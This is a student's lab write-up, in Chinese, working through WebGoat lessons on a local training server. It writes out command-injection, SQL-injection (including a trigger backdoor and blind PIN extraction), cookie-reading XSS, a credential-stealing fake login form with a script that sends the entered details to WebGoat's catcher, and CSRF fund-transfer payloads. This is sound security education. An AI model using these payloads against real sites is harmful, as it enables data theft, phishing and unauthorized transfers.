(由于图片比较大,看的时候需要关闭侧边栏~)
< >(尖括号)
、”(引号)
、‘(单引号)
、%(百分比符号)
、;(分号)
、()(括号)
、&(& 符号)
、+(加号)
等等webgoat-container-7.0.1-war-exec.jar
:https://github.com/WebGoat/WebGoat/releases?after=8.0.0java -jar webgoat-container-7.0.1-war-exec.jar
Starting ProtocolHandler ["http-bio-8080"]
说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端http://localhost:8080/WebGoat
进入WebGoat登录界面,用户名密码已经有默认的,直接输入就好:inspect Element
审查网页元素对源代码进行修改,在任意一行添加"& netstat -an & ipconfig"
:view
,能看到网络端口使用情况和IP地址,攻击成功!SELECT * FROM weather_data WHERE station = [station]
inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
:Go!
,攻击成功!下面将显示所有城市的天气情况:LZH Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行:回车(0D%)
和换行符(%0A)
,在 username 中填入LZH%0d%0aLogin Succeeded for username: admin
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息SELECT * FROM user_data WHERE last_name = ‘?‘
Smith‘ or 1=1--
,成功!!返回了全体员工的信用卡信息!inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为30Smith‘ or ‘1‘ = ‘1
,攻击成功,得到所有人员列表:1、使用用户名Larry
,密码larry
登录,点击ViewProfile
查看用户信息
2、右键点击页面,选择inspect Element
审查网页元素源代码,我们可以看到数据库索引的依据是员工ID(employee_id),推测返回的是每次查询到的第一条数据
3、用社会工程学解释老板应该是工资最高的,所以将员工ID的value
改成101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据,成功获得老板的详细数据!!!
101
,得到该用户的信息101; update employee set salary=10000
执行两个语句,我们可以看到,larry的工资从55000变成了10000哈哈哈哈101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘WHERE userid = NEW.userid
用来注入一个充当SQL后门的触发器,该触发器的触发频率是针对每一行数据触发一次SELECT * FROM user_data WHERE userid=accountNumber;
2、如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
3、输入查询语句101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效(图中Account number is valid)
4、而当我们输入查询语句101 AND 1=0
,因为第二个条件不成立,所以而页面返回帐号无效(图中Invalid account number.)
5、针对查询语句的后半部分构造语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) < 10000 );
,返回值为真,所以pin字段数值小于10000
6、然后我们继续改变查询的数值范围,直到找出正确的值为2364
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘K‘ );
取得 pin 字段数值的第一个字母,并判断其是否比字 母“K”小,结果为真!SUBSTRING(STRING,START,LENGTH)
3、最终,判断出pin字段的值为:Jill
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
1、编写一个带用户名和密码输入框的表格
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
2、编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
3、现在我们将以上两段代码合并,搜索这一大段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
<script>alert("I am LZH !");</script>
,然后点击下方的hhh,会弹出一个框,显示I am LZH !
<script>alert("I am LZH !");</script>
,点击Purchase
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
www.mybank.com
的me
端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。屏幕
和菜单
参数,以及一个额外的参数transferFunds
,其数值为5000
。您可以通过在右侧插入的参数中找到Screen
和menu
值来构造链接。当时经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。当本课程的攻击成功时,左侧菜单中的课程名称旁边会出现一个绿色的复选标记1、查看页面右侧Parameters
中的src
和menu
的值,分别为312和900
2、在title中输入任何参数,在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
3、在Message List
中生成以Title命名的链接。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的
transferFunds
,其中包含一个数值5000
来启动传输,一个字符串值CONFIRM
来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”
的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框1、查看页面右侧Parameters
中的src
和menu
值分别为298
和900
2、并在title框中输入LZH
,message框中输入代码,然后点击Submit
:
<iframe src="attack?Screen=298&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
3、在Message List中生成以Title命名的链接,点击进入后,攻击成功
sudo mkdir -p /usr/local/java
sudo cp jdk-8u211-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u211-linux-x64.tar.gz
sudo vim /etc/profile
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_211
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_211/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_211/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_211/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_211/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_211/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_211/bin/javaws
source /etc/profile
java -version
查看jdk版本,如下图已经安装成功!??这次的实验内容比较多,但是让我更加直观的体验到了web攻击的威力,平时只是听说这些,真正自己做的时候还是很有乐趣的
Exp9 Web安全基础 Week13 - 20165201
原文:https://www.cnblogs.com/cbmwtsl/p/10927692.html